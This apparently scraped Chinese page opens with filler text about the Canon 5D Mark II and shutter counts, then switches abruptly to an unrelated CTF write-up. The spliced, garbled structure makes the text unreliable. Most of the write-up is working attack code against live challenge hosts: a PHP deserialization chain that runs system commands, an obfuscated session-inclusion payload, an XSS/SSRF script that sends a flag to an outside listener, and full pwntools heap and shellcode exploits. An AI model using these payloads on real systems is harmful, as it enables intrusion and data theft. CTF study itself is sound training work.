当前位置:首页 >> 摄影后期 >> 佳能5dmark2寿命,怎样查看佳能5d3的快门次数

佳能5dmark2寿命,怎样查看佳能5d3的快门次数

"佳能6D怎么看自己拍的多少张"其实其指的是佳能6D的快门次数查询,也称快门计数。对于“佳能5d4怎么看还能拍多久”这个问题,首先需要了解几个基本概念:佳能eos5dmark3拍摄视频通过实时显示拍摄,短片拍摄开关设定为短片模式,记录格式为MOV。

阅读数:12

5dmark2是佳能公司的旗舰级相机之一?关于佳能5dmark2的第一个知识点是其全幅传感器。全幅传感器是佳能5dmark2的一大亮点,它能够提供更好的画质和更大的视野角度。相比于其他传感器尺寸较小的相机,全幅传感器的优势在于能够捕捉更多的细节和更高的像素。这使得佳能5dmark2成为专业摄影师的首选。

关于佳能5dmark2的第一个知识点是其出色的画质表现。作为一款全画幅单反相机,佳能5dmark2配备了2100万像素的CMOS传感器。这一传感器能够捕捉到更多的细节和色彩,并且具有出色的动态范围。无论是在室内还是户外,无论是拍摄风景还是人物,佳能5dmark2都能够提供出色的画面质量。

佳能5dmark2和idx

Web

ezyii

网上现有的链子github

<?phpnamespaceCodeception\Extension{useFaker\DefaultGenerator;useGuzzleHttp\Psr7\AppendStream;classRunProcess{protected$output;private$processes=[];publicfunction__construct(){$this->processes[]=newDefaultGenerator(newAppendStream());$this->output=newDefaultGenerator('jiang');}}echourlencode(serialize(newRunProcess()));}namespaceFaker{classDefaultGenerator{protected$default;publicfunction__construct($default=null){$this->default=$default;}}}namespaceGuzzleHttp\Psr7{useFaker\DefaultGenerator;finalclassAppendStream{private$streams=[];private$seekable=true;publicfunction__construct(){$this->streams[]=newCachingStream();}}finalclassCachingStream{private$remoteStream;publicfunction__construct(){$this->remoteStream=newDefaultGenerator(false);$this->stream=newPumpStream();}}finalclassPumpStream{private$source;private$size=-10;private$buffer;publicfunction__construct(){$this->buffer=newDefaultGenerator('j');include("closure/autoload.php");$a=function(){system('cat/flags_c');phpinfo();};$a=\Opis\Closure\serialize($a);$b=unserialize($a);$this->source=$b;}}}

安全检测

考虑session文件包含发现会包含url2直接多加个参数call_user_func执行命令

importrequestsfromrequestsimportResponsefromrequests.apiimportheadurl=""s=requests.session()username="PD9waHAgcGhwaW5mbygpOz8+"sessid='c899a0d6935a15da7e42e02b9fe0a16c'headers={"Cookie":F"PHPSESSID={sessid}"}data={"username":username}res=s.post(f"{url}/login.php",json=data)sessid=s.cookies.get_dict()['PHPSESSID']print(sessid)payload=f'?u=/tmp/sess_{sessid}&p=<?=call_user_func("s"."y"."s"."t"."e"."m","/getf"."lag.sh");?>'p={"url1":payload}res=s.post(f"{url}/check2.php",data=p)print(res.text)res=s.get(f"{url}/preview.php")print(res.text)

层层穿透

第一层是一个ApacheFlink的任意jar包上传漏洞,网上有现成的复现,msf生成一个jar上传执行然后就能getshell

进入后查看/etc/hosts发现有内网环境,而且也给出了内网地址,发现内网还存在一个主机,并且开放8080端口,发现存在shiro框架,结合web.jar发现需要登录,以admin123456登录后发现/admin/test存在json.parse结合fastjson版本可以构造json数据进行JNDI注入

长度可以添加脏数据绕过,黑名单的话是使用org.apache.shiro.realm.jndi.JndiRealmFactory触发类

crawler_z

题目是考察沙箱逃逸,发现zombie有vm库并且在解析script和url的时候调用runInContext,将script内容作为第一个参数code

可以使用this.constructor.constructor沙箱逃逸,本地构造构造一个html,写好对应的script

importrequestsimportrequestsurl=":8888/"s=requests.session()defsignup(name):signup_url=url+'signin'data={'username':name,'password':name,}tmp=s.post(url=signup_url,data=data)#print(tmp.text)defchange(bucket):change_url=url+"user/profile"burp0_url=change_urlburp0_cookies={"UM_distinctid":"17b3b13d148148-0b15ca7c6d5376-35607403-1aeaa0-17b3b13d149826","CNZZDATA155540":"cnzz_eid%3D1910689585-1628779580-%26ntime%3D1628784980","connect.sid":"s%3AUbIPQ4BQWGBQ4Ym1FG3Eqh4c7PPKC2I5.NMUmomM4LvCfTVTOKnXRk%2BzZD4CnUL7vr6QYNYZGsz4"}burp0_headers={"Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","Origin":":9999","Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0(Macintosh;IntelMacOSX10_15_7)AppleWebKit/537.36(KHTML,likeGecko)Chrome/92.0.4515.159Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Referer":":9999/user/profile","Accept-Encoding":"gzip,deflate","Accept-Language":"zh-CN,zh;q=0.9","Connection":"close"}burp0_data={"affiliation":"ichunqiu","age":"20","bucket":""}tmp=s.post(burp0_url,headers=burp0_headers,cookies=burp0_cookies,data=burp0_data,allow_redirects=False)print(tmp.status_code)print(tmp.headers['Location'])token=tmp.headers['Location'][19:]burp1_data={"affiliation":"ichunqiu","age":"20","bucket":bucket}tmp=s.post(burp0_url,headers=burp0_headers,cookies=burp0_cookies,data=burp1_data,allow_redirects=False)ver_url=url+'user/verify?token='+tokentmp=s.get(url=ver_url)#print(tmp.text)defvist():vist_url=url+'user/bucket'tmp=s.get(vist_url)print(tmp.text)signup('crispr1')chage_website="?a=oss-cn-beijing.ichunqiu.com"change(chage_website)vist()

访问对应的html然后监听:

secrets_of_admin

进去之后发现存在admin的密码已知,进去之后调用了http-pdf库,该库存在任意文件读取漏洞,而$contents存在xss,而在这里对content进行了过滤,可以使用数组绕过,当其为数组时include()会失败,基于req.socket.remoteAddress无法绕过,因此可以利用xhr进行SSRF,来访问/api/files

可以将/etc/passwd上传到admin用户,checksum任意,然后我们利用/api/files/checksum来读取文件先试下能不能xss发现存在xss:

那直接xhr访问127.0.0.1即可,注意ts开放在8888端口,这里被坑了很久。。。。

<script>varxhr=newXMLHttpRequest();xhr.open('GET',':8888/api/files?username=admin&filename=/flag&checksum=be5a14a8e504a66979f6938338b0662c',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');xhr.send();varxhr1=newXMLHttpRequest();xhr1.open('GET',':3333?res='+xhr.responseText.toString(),true);xhr1.setRequestHeader('Content-type','application/x-www-form-urlencoded');xhr1.send();</script>

访问下载flag即可

Misc

ChieftainsSecret

通过给出的附件我们可以得到PC0-3通过板子我们搜到一些文档,可以得到类似如下的公式

arcs=math.asin((SIN_P[i]-SIN_N[i])/2030)arcc=math.acos((COS_P[i]-COS_N[i])/2030)

然后利用1对arcs和arcc来确定我们的象限。可以得到一些角度。我们可以发现这些角度呈现一种波峰波谷的状态。我们通过另外的脚本处理可以得到几个波峰的大致角度

20020027022516025018090150150200

通过计算我们可知大概一格是22.5度。从拨片那里开始计算角度。再加上手指的宽度以及一些误差得到电话号flag{77085962457}

层层取证

题目比较有趣。通过Elcomfost首先可以扫到内存里有一个bitlocker加密密钥。然后我们通过diskgenius等工具恢复flag.txt得到提示:仿真。

利用仿真制作了一个仿真系统。将几个磁盘读入进去之后,他直接显示了高级账户的密码:xiaoming_handsome登录之后我们可以发现桌面上的便签写了一个;文档密码xiaoming1314然后我们可以发现有一个F盘是bitlocker锁住了。通过之前的加密密钥导入可以解锁盘拿到流量包。流量包中包含有一个rarudp流直接提取即可。密码是xiaoming_handsome里面的flag.docx密码是xiaoming1314。得到flag

考古

给了一个内存。可以从中获取到hint是一个OneClick.exe。可以直接利用voldump下来。之后我们开始逆向这个东西,发现他是以dot形式写了一个文件进入一个目录。我们利用虚拟机正常执行即可得到。然后我们可以发现他的word里利用010editor和正常word相比多出了一些东西。考虑可能是宏?但是一般宏会有一些特殊的opcode以及定义,考虑单纯是加密的文本,利用xortool一把锁。发现xor密钥是chr(45)得到flag

鸣雏恋

题目比较简单,直接利用zip打开发现里面隐藏的文件还有一个key.txt.当时利用phpstorm打开发现了奇怪的字符。利用零宽度隐写解密得到key。解密压缩包10w+张图片只有2种考虑转01,后续有base解密图片一把梭

importosimporttqdmimportbase64result=''foriinrange(0,129488):filename="{}.png".format(str(i))ifos.path.getsize(filename)==262:result+='0'else:result+='1'fromCrypto.Util.numberimport*result=long_to_bytes(int(result,2))while(1):try:result=base64.b64decode(result)except:print(result)

Pwn

note

先多申请几个chunk,格式化字符串改小topchunk,再申请,利用houseoforange造出unsortedbin,再申请一个chunk利用最后一字节固定泄露基址。然后格式化字符串修改malloc_hook为realloc+12,修改realloc_hook为one_gadget,调整栈桢打one_gadget。

frompwnimport*context(os='linux',arch='amd64',log_level='debug')#r=process('./note')r=remote('47.104.70.90',25315)libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')defadd(size,con):r.sendlineafter('choice:',str(1))r.sendlineafter('size:',str(size))r.sendlineafter('content:',con)defsay(addr):r.sendlineafter('choice:',str(2))r.sendlineafter('say?',addr)defshow():r.sendlineafter('choice:',str(3))foriinrange(14):add(0x100,"aaa")add(0x40,"aaa")r.recvuntil('0x')addr=int(r.recv(12),16)printhex(addr)fake_size=0x00fmt=fmtstr_payload(6,{addr+74:fake_size},write_size='short')print"fmtstr_payload==>",fmtsay(fmt)add(0x100,'aaa')r.sendlineafter('choice:',str(1))r.sendlineafter('size:',str(0x10))r.sendafter('content:','\x78')show()r.recvuntil('content:')libc.address=u64(r.recv(6).ljust(8,'\x00'))-344-0x10-libc.symbols['__malloc_hook']printhex(libc.address)sys_addr=libc.symbols['system']malloc_hook=libc.symbols['__malloc_hook']realloc_hook=libc.symbols['__realloc_hook']realloc=libc.symbols['realloc']rr=malloc_hook-0x8one=0x4527aogg=libc.address+onetar=realloc_hook+2tar=oggforiinrange(6):off=tar&0xfffmt=fmtstr_payload(6,{rr+i:off},write_size='byte')say(fmt)r.sendlineafter('?','3'*(off-1))tar=tar>>8tar=realloc+12foriinrange(6):off=tar&0xfffmt=fmtstr_payload(6,{malloc_hook+i:off},write_size='byte')say(fmt)r.sendlineafter('?','3'*(off-1))tar=tar>>8sleep(0.2)r.sendline('1')sleep(0.2)r.sendline('10')r.interactive()#flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}

JigSaw’sCage

第一次输入数字时存在溢出,输入0xe00000000从而通过if语句的判断并执行mprotect修改heap段为rwx接下分别输入三段shellcode配合jmp指令执行orw

frompwnimport*context(os='linux',arch='amd64',log_level='debug')#r=process('./JigSAW')r=remote('47.104.71.220',10273)libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')defadd(idx):r.recvuntil('Choice:')r.sendline(str(1))r.recvuntil('Index?:')r.sendline(str(idx))defedit(idx,con):r.recvuntil('Choice:')r.sendline(str(2))r.recvuntil('Index?:')r.sendline(str(idx))r.recvuntil('iNput:')r.send(con)defdelete(idx):r.recvuntil('Choice:')r.sendline(str(3))r.recvuntil('Index?:')r.sendline(str(idx))deftest(idx):r.recvuntil('Choice:')r.sendline(str(4))r.recvuntil('Index?:')r.sendline(str(idx))defshwo(idx):r.recvuntil('Choice:')r.sendline(str(5))r.recvuntil('Index?:')r.sendline(str(idx))r.recvuntil('Name')r.sendline('ayoung')r.recvuntil('MakeyourChoice:')r.sendline(str(0xe00000000))add(0)add(1)add(2)add(3)shellcode1='''push0x67616c66pushrsppoprdipush0poprdxpush2popraxjmp$+0x13'''print(len(asm(shellcode1)))edit(0,asm(shellcode1))shell2='''syscallpush0popraxpush3poprdipushrbppoprsipush0x50poprdxjmp$+0x13'''print(len(asm(shell2)))edit(1,asm(shell2))shell3='''syscallpush1push1popraxpoprdipushrbppoprsipush0x50poprdxsyscall'''print(len(asm(shell3)))edit(2,asm(shell3))#gdb.attach(r)test(0)r.interactive()#flag{58591d4d-068f-47ed-9305-a65762917b06}

PassWordBox_FreeVersion

第一次申请的时候拿到异或加密的值用来控制之后输入的内容

chunka(unsortedbin)chunkbusedchunkcused伪造chunkc的prevsize位为chunka+b,利用offbynull溢出chunkc的preinuse位,freechunkc,发生unlink造成chunkoverlap,然后泄露基址再用tcache打free_hook即可。过程中需要避开tcache的影响

frompwnimport*context(os='linux',arch='amd64',log_level='debug')#r=process('./pwdFree')r=remote('47.104.71.220',38562)libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')defadd(id,len,pwd):r.sendlineafter('InputYourChoice:',str(1))r.sendlineafter('InputTheIDYouWantSave:',id)r.sendlineafter('LengthOfYourPwd:',str(len))r.sendlineafter('YourPwd:',pwd)defedit(idx,con):r.sendlineafter('InputYourChoice:',str(2))sleep(0.1)r.sendline(str(idx))sleep(0.1)r.send(con)defshow(idx):r.sendlineafter('InputYourChoice:',str(3))r.sendlineafter('WhichPwdBoxYouWantCheck:',str(idx))defdelete(idx):r.sendlineafter('InputYourChoice:',str(4))r.sendlineafter('Idxyouwant2Delete:',str(idx))defdecode(str,key):tmp=''foriinrange(len(str)):tmp+=chr((ord(str[i])^ord(key[i%8])))returntmpadd('AAAA',0xf0,'\x00')r.recvuntil('FirstAddDone.Thx4Use.SaveID:')r.recv(32)key=r.recv(8)foriinrange(0xe):add('AAAA',0xf0,decode('B'*0xf0,key))foriinrange(7):delete(9-i)delete(0)delete(1)foriinrange(7):add('AAAA',0xf0,decode('A'*0xf0,key))add('AAAA',0xf0,decode('B'*0xf0,key))#8add('AAAA',0xf0,decode('B'*0xf0,key))#9foriinrange(7):delete(i)delete(8)foriinrange(7):add('AAAA',0xf0,decode('A'*0xf0,key))delete(9)add('AAAA',0xf8,decode('A'*0xf0+p16(0x200)+'\x00'*0x6,key))foriinrange(4):delete(i)foriinrange(3):delete(i+5)delete(4)foriinrange(7):add('AAAA',0xf0,decode('a'*0xf0,key))add('AAAA',0xf0,decode('a'*0xf0,key))#7show(8)r.recvuntil('Pwdis:')addr=u64(decode((r.recv(6)),key).ljust(8,'\x00'))libc.address=addr-96-0x10-libc.symbols['__malloc_hook']print'libc_base===>',hex(libc.address)free_hook=libc.symbols['__free_hook']sys_addr=libc.symbols['system']add('AAAA',0xf0,decode('a'*0xf0,key))add('AAAA',0xf0,decode('a'*0xf0,key))delete(12)delete(11)delete(8)edit(9,p64(free_hook))add('AAAA',0xf0,decode('/bin/sh\x00',key))add('AAAA',0xf0,decode(p64(sys_addr),key))delete(8)r.interactive()#flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}

lemon

在第一个game里,输入FFFF即可将flag内容放到栈上第二个game里的color功能存在堆溢出,eat功能会打印堆地址color改地址使其指向tcache_perthread_struct并修改来构造unsortedbin,爆破stdout并泄露真实地址,同理用environ泄露栈地址,stdout打印flag。

#!/usr/bin/envpython#-*-coding:utf-8-*-frompwnimport*importosimportsyscontext(os='linux',arch='amd64')context.log_level='debug'#p=process("./lemon_pwn")p=remote("47.104.70.90",34524)libc=ELF('./libc-2.26.so')defchioce(idx):p.sendlineafter(">>>",str(idx))defget(idx,name,size,data):chioce(1)p.sendlineafter("indexofyourlemon:",str(idx))p.sendafter("nameyourlemon:",name)p.sendlineafter("ofmessageforyoulemon:",str(size))p.sendafter("Leaveyourmessage:",data)defget_err(idx,name,size):chioce(1)p.sendlineafter("indexofyourlemon:",str(idx))p.sendafter("nameyourlemon:",name)p.sendlineafter("ofmessageforyoulemon:",str(size))defeat(idx):chioce(2)p.sendlineafter("\n",str(idx))try:p.recvuntil("eateateat")ret=int(p.recvline()[:-4])heap_addr=hex(ret)log.success("heap_addr:"+str(heap_addr))returnretexcept:sys.stdout.flush()os.execv(sys.argv[0],sys.argv)defthrow(idx):chioce(3)p.recvuntil('\n')p.sendline(str(idx))defcolor(idx,data):chioce(4)p.sendlineafter("\n",str(idx))p.sendafter("\n",data)definit(yes):ifyes:p.sendlineafter("gamewithme?","yes")p.sendlineafter("yourluckynumber:","FFFF")p.recvuntil("Wow,yougetarewardnow!")p.sendlineafter("namefirst:","mark")p.recvuntil("yourrewardis")ret=p.recv()[0:5]log.success("stack_name_addr:"+str(hex(int(ret,16))))returnint(ret,16)else:p.sendlineafter("gamewithme?","no")defpwn():flag=init(1)get(0,"mark",0x240,"aaaaaaa")try:low_addr=str(hex(eat(0)))low_addr=int(low_addr[-6:-3],16)low_addr*=0x10except:sys.stdout.flush()os.execv(sys.argv[0],sys.argv)color(0,p64(0)*2+p64(0x100000250)+"\x10"+p8(low_addr))throw(0)get(0,"hacker",0x240,p64(0x00)*4+p64(0x7000000))#tcache_perthread_strcutthrow(0)get(1,"pad1",0x50,p8(0x00)*5+p8(0x03)+p8(0x0)*2)#3timestostdoutget(1,p64(0x00)+'\xed\x36',0x30,p64(0x00))#0x70tcachechunktry:get(2,"stdout",0x68,p64(0x0)*6+'\x00'*3+p64(0xfbad1800)+p64(0x00)*3+'\x00')#gdb.attach(p)except:sys.stdout.flush()os.execv(sys.argv[0],sys.argv)p.recvuntil("\x7f\x00\x00")addr=u64(p.recvuntil("\x7f").ljust(8,'\x00'))log.success("_IO_2_1_stdout_+131:"+str(hex(addr)))libc_base=addr-131-libc.sym['_IO_2_1_stdout_']log.success("libc_base:"+str(hex(libc_base)))#gdb.attach(p)malloc_hook=libc_base+libc.sym['__malloc_hook']free_hook=libc_base+libc.sym['__free_hook']log.success("malloc_hook:"+str(hex(malloc_hook)))log.success("free_hook:"+str(hex(free_hook)))p.recv()#throw(1)p.sendline("3")p.recvuntil('indexofyourlemon:')p.sendline(str(1))environ=libc_base+0x03dd058log.success("environ:"+str(hex(environ)))stdout=libc_base+libc.sym['_IO_2_1_stdout_']log.success("stdout:"+str(hex(stdout)))get(1,p64(0x00)+p64(stdout-0x33),0x30,p64(0x00))#0x70tcachechunkget(2,"stdout",0x68,p64(0x0)*6+'\x00'*3+p64(0xfbad1800)+p64(0x00)*3+p64(environ)+p64(environ+0x10))stack=u64(p.recvuntil('\x7f')[1:7].ljust(8,'\x00'))log.success("stack_base:"+str(hex(stack)))flag_addr=stack&0xffffffffff000+flaglog.success("flag_addr:"+str(hex(flag_addr)))#throw(1)p.sendline("3")p.recvuntil('indexofyourlemon:')p.sendline(str(1))get(1,p64(0x00)+p64(stdout-0x33),0x30,p64(0x00))#0x70tcachechunkget(2,"stdout",0x68,p64(0x0)*6+'\x00'*3+p64(0xfbad1800)+p64(0x00)*3+p64(flag_addr-0x100)+p64(flag_addr+0x100))#gdb.attach(p)p.interactive()if__name__=="__main__":pwn()#flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}

PassWordBox_ProVersion

recover存在UAF,unsortedbin泄露libclargebinattack改大mp.tcache_bins,制造tcachetcacheattack打__free_hook,改system释放binsh块,getshell

#coding:utf-8frompwnimport*importsubprocess,sys,osfromtimeimportsleepsa=lambdax,y:p.sendafter(x,y)sla=lambdax,y:p.sendlineafter(x,y)elf_path='./pwdPro'ip='47.104.71.220'port=49261remote_libc_path='./libc.so'context(os='linux',arch='amd64')context.log_level='debug'defrun(local=1):globalelfglobalpiflocal==1:elf=ELF(elf_path,checksec=False)p=elf.process()else:p=remote(ip,port)defdebug(cmd=''):#context.terminal=[]gdb.attach(p,cmd)pause()defone_gadget(filename=remote_libc_path):returnmap(int,subprocess.check_output(['one_gadget','--raw',filename]).split(''))defstr2int(s,info='',offset=0):ret=u64(s.ljust(8,'\x00'))-offsetsuccess('%s==>0x%x'%(info,ret))returnretdefchose(idx):sla('InputYourChoice:\n',str(idx))deffadd(idx,size,content='\0'*8+'\n',ID='\n'):chose(1)sla('WhichPwdBoxYouWantAdd:\n',str(idx))sa('InputTheIDYouWantSave:',ID)sla('LengthOfYourPwd:',str(size))sa('YourPwd:',content)defadd(idx,size,content='\n',ID='\n'):chose(1)sla('WhichPwdBoxYouWantAdd:\n',str(idx))sa('InputTheIDYouWantSave:',ID)sla('LengthOfYourPwd:',str(size))sa('YourPwd:',key(content))defedit(idx,content):chose(2)sla('WhichPwdBoxYouWantEdit:\n',str(idx))sleep(1)p.send(content)defshow(idx):chose(3)sla('WhichPwdBoxYouWantCheck:\n',str(idx))deffree(idx):chose(4)sla('Idxyouwant2Delete:\n',str(idx))defrecover(idx):chose(5)sla('Idxyouwant2Recover:\n',str(idx))defkey(num):ifnum=='\n':return'\n'result=''foriin[num[x:x+8]forxinrange(0,len(num),8)]:result+=p64(passwd^u64(i))returnresultrun(0)fadd(0,0x628)p.recvuntil('FirstAddDone.Thx4Use.SaveID:')passwd=u64(p.recv(8))add(1,0x420)add(2,0x618)add(3,0x420)add(11,0x420)add(12,0x420)add(13,0x420)free(0)recover(0)show(0)p.recvuntil('Pwdis:')libc=ELF(remote_libc_path)libc.address=str2int(key(p.recv(8)),'libc',libc.sym['__malloc_hook']+0x10+96)add(4,0x638)free(2)attack=libc.address+0x1eb280+0x50-0x20payload=flat(0,attack,0,attack)edit(0,payload)add(5,0x638)free(11)free(12)free(13)recover(13)edit(13,p64(libc.sym['__free_hook']))add(13,0x420)edit(13,'/bin/sh\0')add(14,0x420)edit(14,p64(libc.sym['system']))free(13)#debug()p.interactive()

Re

Dizzy

    main函数巨大,但是可以改一下hexray.cfg,让IDA反汇编伪代码如下,发现就是以byte为单位对输入进行操作,然后与内置的密文进行比较比较部分如下想拿z3跑,但是代码量太大了,没跑出来发现都是很简单的+–^运算,其实直接倒推回去进行了把伪代码粘贴出来,把运算部分调整成python代码,保存到code文件里然后从后往前exec即可

python=defchange(code:str):if“+=”incode:returncode.replace(“+=”,“-=”)elif“-=”incode:returncode.replace(“-=”,“+=”)elif“^=”incode:returncodeplain=[-1]*32plain[0]=ord(“‘“)plain[1]=ord(“<”)plain[2]=-29plain[3]=-4plain[4]=46plain[5]=65plain[6]=7plain[7]=94plain[8]=98plain[9]=-49plain[10]=-24plain[11]=-14plain[12]=-110plain[13]=0x80plain[14]=-30plain[15]=54plain[16]=-76plain[17]=-78plain[18]=103plain[19]=119plain[20]=15plain[21]=-10plain[22]=13plain[23]=-74plain[24]=-19plain[25]=28plain[26]=101plain[27]=-118plain[28]=7plain[29]=83plain[30]=-90plain[31]=102withopen(“code”,“r”)asf:lines=f.readlines()forlinreversed(lines):newCode=change(l.strip())exec(newCode)flag=’’foriinrange(32):flag+=chr(plain[i]&0xff)print(flag)

flag{Try_R3vers1ng_W1th_ScR!pt!}

勒索解密

其实就是逆一个调用了大量wincrypt加密api的程序,没啥难的,就是windowsapi实在是太阴间了

首先看main函数,大量的初始化操作,然后调用enc函数,然后清零

结合上述这些操作可以猜测出题人应该是用一个结构体去管理加密过程中用到的密钥之类的东西,经过一定的尝试可以设置如下的结构体,让伪代码更直观

然后就是分析enc函数了。enc函数就只传入了一个指向结构体的指针,所以只跟踪引用了这个结构体的函数就行了

这部分初始化了key1,使用了4个int,其中3个为定值,1个为时间戳

这两个函数都引用了结构体,跟进

发现第一个函数是解base64编码的公钥,把公钥做key2

第二个函数用key2加密了一些数据,调试发现就是key1

后面这两个函数就是调用key1加密文件,然后把加密后的文件+加密好的key1写到加密好的文件里

所以关键问题就是恢复key1。因为有key2这一坨东西,调试并在本地复现发现key2是rsa加密,n巨大无法分解,遂放弃

后来终于注意到题目加密的是bmp文件,bmp文件当然有固定的格式,而key1又只有一个时间戳不确定,所以爆破时间戳就行了

爆破时间戳

voiddecrypt_test(void){DWORD32key[4]={0x0EC62FB2,0x4B54D44F,0,0x8EB1E721};FILE*f;intmode;fopen_s(&f,"I:\\flag.bmp.ctf_crypter","rb");BYTE*cipher=(BYTE*)malloc(0xd6830);memset(cipher,0,0xd6830);fread(cipher,sizeof(char),0xd6830,f);for(inti=1629097200;i<1629553539;i++){HCRYPTPROVprov=NULL;HCRYPTHASHhash;HCRYPTKEYaesKey;DWORDlength=16;key[2]=i;BYTEhead[32];memset(head,0,32);memcpy(head,cipher,16);if(!CryptAcquireContextA(&prov,NULL,MS_ENH_RSA_AES_PROV_A,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)){printf("error0\n");}CryptCreateHash(prov,0x800Cu,0,0,&hash);CryptHashData(hash,(constBYTE*)key,0x10u,0);CryptDeriveKey(prov,0x660Eu,hash,0,&aesKey);mode=1;CryptSetKeyParam(aesKey,4u,(constBYTE*)&mode,0);CryptSetKeyParam(aesKey,3u,(constBYTE*)&mode,0);CryptDecrypt(aesKey,0,0,0,head,&length);if(head[0]=='B'&&head[1]=='M'){cout<<i;break;}}}

    文件解密

voiddecrypt(void){DWORD32key[4]={0x0EC62FB2,0x4B54D44F,1629098245,0x8EB1E721};FILEf;intmode;fopen_s(&f,“I:\flag.bmp.ctf_crypter”,“rb”);BYTEcipher=(BYTE*)malloc(0xd6830);inttotalLength=0xd6830;DWORDblockLen=16;memset(cipher,0,totalLength);fread(cipher,sizeof(char),totalLength,f);HCRYPTPROVprov=NULL;HCRYPTHASHhash;HCRYPTKEYaesKey;if(!CryptAcquireContextA(&prov,NULL,MS_ENH_RSA_AES_PROV_A,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)){printf("error0\n");}CryptCreateHash(prov,0x800Cu,0,0,&hash);CryptHashData(hash,(constBYTE)key,0x10u,0);CryptDeriveKey(prov,0x660Eu,hash,0,&aesKey);mode=1;CryptSetKeyParam(aesKey,4u,(constBYTE)&mode,0);CryptSetKeyParam(aesKey,3u,(constBYTE*)&mode,0);for(inti=0;i<totalLength;i+=16){CryptDecrypt(aesKey,0,0,0,cipher+i,&blockLen);}FILE*out;fopen_s(&out,“dec.bmp”,“wb”);fwrite(cipher,1,totalLength,out);printf(“”);}

easyapc

该驱动会释放一个dll作为客户端,然后监听进程创建和dll载入的时间,然后维护一个列表,来实现能够与加载了该dll的进程进行通讯,包括各种通讯机制RPC和DeviceIOControl等

然后该dll还会要求一个DllInjector的dll,然后调用里面的GetContentHash来算test哈希,和结果比较,发现是sha3-256,所以要写两个东西,一个是加载哪个dll的主程序,然后就是DLLInjector,得实现sha3-256,直接抄github上的源码就ok

然后就可以动调加载dll的程序,在LoadLibraryInjectDll.dll的时候下断点,在Dll的入口点断下就能调试了,发现主要的逻辑就是对AkariDll这个字符串算哈希,然后用rpc和驱动通讯算出一个值key,然后和flag一起参与加密,加密是用rand驱动的,6种加密,然后我们只需要分别逆一下这6种加密就ok,非常简单,都是异或等等,然后随便找一组数据把key的结果加密出来,和真正flag的数据组合在一起反过来用rand调用解密函数回退就能得到flag了

guess

这道题给非预期了,题目里面可以理解为给一个密钥某一位进行加密,并帮助解密一个密文,要求这个密文不能是上面加密的密文。解密后给出一个问题,问上面加密的密钥是奇数位还是偶数位。

首先我们不知道任何密钥,但是根据加密方式

c\equivg^mw\mod\p

exp如下:

#-*-coding:utf-8-*-frompwnimport*importreimportrandomfrommathimportgcd#fromCrypto.Util.numberimportinversefromhashlibimportsha256String="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"defproof(known,hashcode):foreach1inString:foreach2inString:foreach3inString:foreach4inString:this=each1+each2+each3+each4+knownifsha256(this.encode()).hexdigest()==hashcode:#print(each1+each2+each3+each4)returneach1+each2+each3+each4defexgcd(a,b):ifb==0:return1,0,aelse:x,y,q=exgcd(b,a%b)x,y=y,(x-(a//b)*y)returnx,y,qdefinvert(a,p):x,y,q=exgcd(a,p)ifq!=1:raiseException("Nosolution.")else:return(x+p)%pdefenc(n,g,m):while1:r=random.randint(2,n-1)ifgcd(r,n)==1:breakc=(pow(g,m,n**2)*pow(r,n,n**2))%(n**2)returncdefdec(n,g,LAMBDA,c):L1=(pow(c,LAMBDA,n**2)-1)//nL2=(pow(g,LAMBDA,n**2)-1)//nm=(invert(L2,n)*L1)%nreturnmhost,port="47.104.85.225",57811keys={521,526,530,542,548,550,558,566,577,585,611,613,614,113,114,119,121,123,637,638,639,128,129,130,641,646,647,653,142,148,158,685,184,186,201,718,727,216,232,745,746,237,751,241,244,780,783,271,281,286,288,810,299,307,309,313,333,860,349,355,877,885,888,899,903,396,400,918,416,936,939,427,942,430,944,461,977,983,995,498}index={530:b'0',521:b'0',585:b'0',899:b'0',281:b'1',355:b'0',128:b'1',416:b'0',498:b'0',944:b'1',977:b'1',396:b'1',550:b'0',877:b'1',918:b'1',333:b'1',244:b'1',647:b'1',611:b'0',461:b'1',637:b'0',614:b'0',216:b'1',639:b'0',727:b'1',119:b'0',983:b'0',237:b'1',148:b'0',810:b'1',130:b'0',685:b'0',885:b'0',114:b'0',427:b'0',201:b'1',860:b'1',888:b'1',783:b'0',646:b'1',299:b'0',288:b'0',653:b'1',129:b'1',313:b'0',558:b'0',309:b'1',142:b'0',745:b'1',613:b'1',936:b'1',548:b'1',903:b'0',718:b'0',158:b'1',542:b'1',566:b'0',400:b'1',186:b'1',780:b'1',577:b'0',638:b'0',430:b'1',641:b'1',751:b'0',286:b'1',995:b'0',113:b'1',939:b'0',746:b'0'}context.log_level='debug'whileTrue:try:sh=remote(host,port)data=sh.recvrepeat(1).decode()known,hashcode=re.findall(r'256\(\?\+(.*?)\)==(.*?)\n',data)[0]secret=proof(known,hashcode)sh.sendline(secret.encode())for_inrange(32):data=sh.recvrepeat(2).decode()n=int(re.findall(r'n=(.*?)\n',data)[0])g=int(re.findall(r'g=(.*?)\n',data)[0])sh.sendline(b'123')sh.recv()sh.sendline(b'3')sh.recv()sh.sendline(b'3')data=sh.recvrepeat(1).decode()c=int(re.findall(r'Thisisaciphertext.\n(.*?)\n',data)[0])c2=c*g%(n**2)sh.sendline(str(c2).encode())data=sh.recvrepeat(1).decode()res=int(re.findall(r'Thisisthecorrespondingplaintext.\n(.*?)\n',data)[0])assert(res-1)%9==0this=(res-1)//9ifthisnotinindex:sh.sendline(b'0')data=sh.recv().decode()if"Sorry"indata:index[this]=b'1'breakelse:index[this]=b'0'else:sh.sendline(index[this])sh.recv()print(index)else:print(sh.recvrepeat(1).decode())sh.close()breaksh.close()exceptKeyboardInterrupt:raiseKeyboardInterruptexcept:pass

Random_RSA

在py2中拿到$dp$

